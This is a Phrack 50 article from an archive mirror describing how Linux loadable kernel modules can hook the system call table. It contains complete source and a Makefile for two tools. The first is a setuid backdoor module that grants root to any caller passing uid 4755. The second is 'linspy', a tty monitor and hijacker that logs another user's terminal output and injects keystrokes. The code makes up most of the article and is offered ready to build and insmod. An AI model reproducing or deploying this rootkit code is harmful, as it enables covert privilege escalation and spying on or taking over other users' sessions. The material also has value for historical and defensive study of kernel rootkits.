home *** CD-ROM | disk | FTP | other *** search
- .oO Phrack 50 Oo.
-
- Volume Seven, Issue Fifty
-
- 5 of 16
-
- ============================================
- Abuse of the Linux Kernel for Fun and Profit
- halflife@infonexus.com
- [guild corporation]
- ============================================
-
- Introduction
- ------------
- Loadable modules are a very useful feature in linux, as they let
- you load device drivers on a as-needed basis. However, there is
- a bad side: they make kernel hacking almost TOO easy. What happens
- when you can no longer trust your own kernel...? This article describes
- a simple way kernel modules can be easily abused.
-
- System calls
- ------------
- System calls. These are the lowest level of functions available, and
- are implemented within the kernel. In this article, we will discuss how
- they can be abused to let us write a very simplistic tty hijacker/monitor.
- All code was written and designed for linux machines, and will not compile
- on anything else, since we are mucking with the kernel.
-
- TTY Hijackers, such as tap and ttywatcher are common on Solaris,
- SunOS, and other systems with STREAMS, but Linux thus far has not had
- a useful tty hijacker (note: I don't consider pty based code such as
- telnetsnoop to be a hijacker, nor very useful since you must make
- preparations ahead of time to monitor users).
-
- Since linux currently lacks STREAMS (LinSTREAMS appears to be dead),
- we must come up with a alternative way to monitor the stream. Stuffing
- keystrokes is not a problem, since we can use the TIOCSTI ioctl to stuff
- keystrokes into the input stream. The solution, of course, is to redirect
- the write(2) system call to our own code which logs the contents of the
- write if it is directed at our tty; we can then call the real write(2)
- system call.
-
- Clearly, a device driver is going to be the best way to do things. We
- can read from the device to get the data that has been logged, and add
- a ioctl or two in order to tell our code exactly what tty we want to log.
-
-
- Redirection of system calls
- ---------------------------
- System calls are pretty easy to redirect to our own code. It works in
- principle like DOS terminate and stay resident code. We save the old
- address in a variable, then set a new one pointing to our code. In our
- code, we do our thing, and then call the original code when finished.
-
- A very simple example of this is contained in hacked_setuid.c, which
- is a simple loadable module that you can insmod, and once it is inserted
- into the kernel, a setuid(4755) will set your uid/euid/gid/egid to 0.
- (See the appended file for all the code.) The addresses for the
- syscalls are contained in the sys_call_table array. It is relatively easy
- to redirect syscalls to point to our code. Once we have done this, many
- things are possible...
-
- Linspy notes
- ------------
- This module is VERY easy to spot, all you have to do is cat /proc/modules
- and it shows up as plain as day. Things can be done to fix this, but I
- have no intention on doing them.
-
- To use linspy, you need to create an ltap device, the major should
- be 40 and the minor should be 0. After you do that, run make and then
- insmod the linspy device. Once it is inserted, you can run ltread [tty]
- and if all goes well, you should see stuff that is output to the user's
- screen. If all does not go well ... well, I shall leave that to your
- nightmares.
-
- The Code [use the included extract.c utility to unarchive the code]
- ---------------------------------------------------------------------
-
-
- <++> linspy/Makefile
- CONFIG_KERNELD=-DCONFIG_KERNELD
- CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
- CC=gcc
- # this is the name of the device you have (or will) made with mknod
- DN = '-DDEVICE_NAME="/dev/ltap"'
- # 1.2.x need this to compile, comment out on 1.3+ kernels
- V = #-DNEED_VERSION
- MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
-
- all: linspy ltread setuid
-
- linspy: linspy.c /usr/include/linux/version.h
- $(CC) $(MODCFLAGS) -c linspy.c
-
- ltread:
- $(CC) $(DN) -o ltread ltread.c
-
- clean:
- rm *.o ltread
-
- setuid: hacked_setuid.c /usr/include/linux/version.h
- $(CC) $(MODCFLAGS) -c hacked_setuid.c
-
- <--> end Makefile
- <++> linspy/hacked_setuid.c
- int errno;
- #include <linux/sched.h>
- #include <linux/mm.h>
- #include <linux/malloc.h>
- #include <linux/errno.h>
- #include <linux/sched.h>
- #include <linux/kernel.h>
- #include <linux/times.h>
- #include <linux/utsname.h>
- #include <linux/param.h>
- #include <linux/resource.h>
- #include <linux/signal.h>
- #include <linux/string.h>
- #include <linux/ptrace.h>
- #include <linux/stat.h>
- #include <linux/mman.h>
- #include <linux/mm.h>
- #include <asm/segment.h>
- #include <asm/io.h>
- #include <linux/module.h>
- #include <linux/version.h>
- #include <errno.h>
- #include <linux/unistd.h>
- #include <string.h>
- #include <asm/string.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <sys/sysmacros.h>
- #ifdef NEED_VERSION
- static char kernel_version[] = UTS_RELEASE;
- #endif
- static inline _syscall1(int, setuid, uid_t, uid);
- extern void *sys_call_table[];
- void *original_setuid;
- extern int hacked_setuid(uid_t uid)
- {
- int i;
- if(uid == 4755)
- {
- current->uid = current->euid = current->gid = current->egid = 0;
- return 0;
- }
- sys_call_table[SYS_setuid] = original_setuid;
- i = setuid(uid);
- sys_call_table[SYS_setuid] = hacked_setuid;
- if(i == -1) return -errno;
- else return i;
- }
- int init_module(void)
- {
- original_setuid = sys_call_table[SYS_setuid];
- sys_call_table[SYS_setuid] = hacked_setuid;
- return 0;
- }
- void cleanup_module(void)
- {
- sys_call_table[SYS_setuid] = original_setuid;
- }
- <++> linspy/linspy.c
- int errno;
- #include <linux/tty.h>
- #include <linux/sched.h>
- #include <linux/mm.h>
- #include <linux/malloc.h>
- #include <linux/errno.h>
- #include <linux/sched.h>
- #include <linux/kernel.h>
- #include <linux/times.h>
- #include <linux/utsname.h>
- #include <linux/param.h>
- #include <linux/resource.h>
- #include <linux/signal.h>
- #include <linux/string.h>
- #include <linux/ptrace.h>
- #include <linux/stat.h>
- #include <linux/mman.h>
- #include <linux/mm.h>
- #include <asm/segment.h>
- #include <asm/io.h>
- #ifdef MODULE
- #include <linux/module.h>
- #include <linux/version.h>
- #endif
- #include <errno.h>
- #include <asm/segment.h>
- #include <linux/unistd.h>
- #include <string.h>
- #include <asm/string.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <sys/sysmacros.h>
- #include <linux/vt.h>
-
- /* set the version information, if needed */
- #ifdef NEED_VERSION
- static char kernel_version[] = UTS_RELEASE;
- #endif
-
- #ifndef MIN
- #define MIN(a,b) ((a) < (b) ? (a) : (b))
- #endif
-
- /* ring buffer info */
-
- #define BUFFERSZ 2048
- char buffer[BUFFERSZ];
- int queue_head = 0;
- int queue_tail = 0;
-
- /* taken_over indicates if the victim can see any output */
- int taken_over = 0;
-
- static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
- extern void *sys_call_table[];
-
- /* device info for the linspy device, and the device we are watching */
- static int linspy_major = 40;
- int tty_minor = -1;
- int tty_major = 4;
-
- /* address of original write(2) syscall */
- void *original_write;
-
- void save_write(char *, size_t);
-
-
- int out_queue(void)
- {
- int c;
- if(queue_head == queue_tail) return -1;
- c = buffer[queue_head];
- queue_head++;
- if(queue_head == BUFFERSZ) queue_head=0;
- return c;
- }
-
- int in_queue(int ch)
- {
- if((queue_tail + 1) == queue_head) return 0;
- buffer[queue_tail] = ch;
- queue_tail++;
- if(queue_tail == BUFFERSZ) queue_tail=0;
- return 1;
- }
-
-
- /* check if it is the tty we are looking for */
- int is_fd_tty(int fd)
- {
- struct file *f=NULL;
- struct inode *inode=NULL;
- int mymajor=0;
- int myminor=0;
-
- if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
- return 0;
- mymajor = major(inode->i_rdev);
- myminor = minor(inode->i_rdev);
- if(mymajor != tty_major) return 0;
- if(myminor != tty_minor) return 0;
- return 1;
- }
-
- /* this is the new write(2) replacement call */
- extern int new_write(int fd, char *buf, size_t count)
- {
- int r;
- if(is_fd_tty(fd))
- {
- if(count > 0)
- save_write(buf, count);
- if(taken_over) return count;
- }
- sys_call_table[SYS_write] = original_write;
- r = write(fd, buf, count);
- sys_call_table[SYS_write] = new_write;
- if(r == -1) return -errno;
- else return r;
- }
-
-
- /* save data from the write(2) call into the buffer */
- void save_write(char *buf, size_t count)
- {
- int i;
- for(i=0;i < count;i++)
- in_queue(get_fs_byte(buf+i));
- }
-
- /* read from the ltap device - return data from queue */
- static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
- {
- int i;
- int c;
- int cnt=0;
- if(current->euid != 0) return 0;
- for(i=0;i < count;i++)
- {
- c = out_queue();
- if(c < 0) break;
- cnt++;
- put_fs_byte(c, buf+i);
- }
- return cnt;
- }
-
- /* open the ltap device */
- static int linspy_open(struct inode *in, struct file *fi)
- {
- if(current->euid != 0) return -EIO;
- MOD_INC_USE_COUNT;
- return 0;
- }
-
- /* close the ltap device */
- static void linspy_close(struct inode *in, struct file *fi)
- {
- taken_over=0;
- tty_minor = -1;
- MOD_DEC_USE_COUNT;
- }
-
- /* some ioctl operations */
- static int
- linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
- {
- #define LS_SETMAJOR 0
- #define LS_SETMINOR 1
- #define LS_FLUSHBUF 2
- #define LS_TOGGLE 3
-
- if(current->euid != 0) return -EIO;
- switch(cmd)
- {
- case LS_SETMAJOR:
- tty_major = args;
- queue_head = 0;
- queue_tail = 0;
- break;
- case LS_SETMINOR:
- tty_minor = args;
- queue_head = 0;
- queue_tail = 0;
- break;
- case LS_FLUSHBUF:
- queue_head=0;
- queue_tail=0;
- break;
- case LS_TOGGLE:
- if(taken_over) taken_over=0;
- else taken_over=1;
- break;
- default:
- return 1;
- }
- return 0;
- }
-
-
- static struct file_operations linspy = {
- NULL,
- linspy_read,
- NULL,
- NULL,
- NULL,
- linspy_ioctl,
- NULL,
- linspy_open,
- linspy_close,
- NULL
- };
-
-
- /* init the loadable module */
- int init_module(void)
- {
- original_write = sys_call_table[SYS_write];
- sys_call_table[SYS_write] = new_write;
- if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
- return 0;
- }
-
- /* cleanup module before being removed */
- void cleanup_module(void)
- {
- sys_call_table[SYS_write] = original_write;
- unregister_chrdev(linspy_major, "linspy");
- }
- <--> end linspy.c
- <++> linspy/ltread.c
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <termios.h>
- #include <string.h>
- #include <fcntl.h>
- #include <signal.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <sys/sysmacros.h>
-
- struct termios save_termios;
- int ttysavefd = -1;
- int fd;
-
- #ifndef DEVICE_NAME
- #define DEVICE_NAME "/dev/ltap"
- #endif
-
- #define LS_SETMAJOR 0
- #define LS_SETMINOR 1
-
- #define LS_FLUSHBUF 2
- #define LS_TOGGLE 3
-
- void stuff_keystroke(int fd, char key)
- {
- ioctl(fd, TIOCSTI, &key);
- }
-
- int tty_cbreak(int fd)
- {
- struct termios buff;
- if(tcgetattr(fd, &save_termios) < 0)
- return -1;
- buff = save_termios;
- buff.c_lflag &= ~(ECHO | ICANON);
- buff.c_cc[VMIN] = 0;
- buff.c_cc[VTIME] = 0;
- if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
- return -1;
- ttysavefd = fd;
- return 0;
- }
-
- char *get_device(char *basedevice)
- {
- static char devname[1024];
- int fd;
-
- if(strlen(basedevice) > 128) return NULL;
- if(basedevice[0] == '/')
- strcpy(devname, basedevice);
- else
- sprintf(devname, "/dev/%s", basedevice);
- fd = open(devname, O_RDONLY);
- if(fd < 0) return NULL;
- if(!isatty(fd)) return NULL;
- close(fd);
- return devname;
- }
-
-
- int do_ioctl(char *device)
- {
- struct stat mystat;
-
- if(stat(device, &mystat) < 0) return -1;
- fd = open(DEVICE_NAME, O_RDONLY);
- if(fd < 0) return -1;
- if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
- if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
- }
-
-
- void sigint_handler(int s)
- {
- exit(s);
- }
-
- void cleanup_atexit(void)
- {
- puts(" ");
- if(ttysavefd >= 0)
- tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
- }
-
- main(int argc, char **argv)
- {
- int my_tty;
- char *devname;
- unsigned char ch;
- int i;
-
- if(argc != 2)
- {
- fprintf(stderr, "%s ttyname\n", argv[0]);
- fprintf(stderr, "ttyname should NOT be your current tty!\n");
- exit(0);
- }
- devname = get_device(argv[1]);
- if(devname == NULL)
- {
- perror("get_device");
- exit(0);
- }
- if(tty_cbreak(0) < 0)
- {
- perror("tty_cbreak");
- exit(0);
- }
- atexit(cleanup_atexit);
- signal(SIGINT, sigint_handler);
- if(do_ioctl(devname) < 0)
- {
- perror("do_ioctl");
- exit(0);
- }
- my_tty = open(devname, O_RDWR);
- if(my_tty == -1) exit(0);
- setvbuf(stdout, NULL, _IONBF, 0);
- printf("[now monitoring session]\n");
- while(1)
- {
- i = read(0, &ch, 1);
- if(i > 0)
- {
- if(ch == 24)
- {
- ioctl(fd, LS_TOGGLE, 0);
- printf("[Takeover mode toggled]\n");
- }
- else stuff_keystroke(my_tty, ch);
- }
- i = read(fd, &ch, 1);
- if(i > 0)
- putchar(ch);
- }
- }
- <--> end ltread.c
-
-
- EOF
-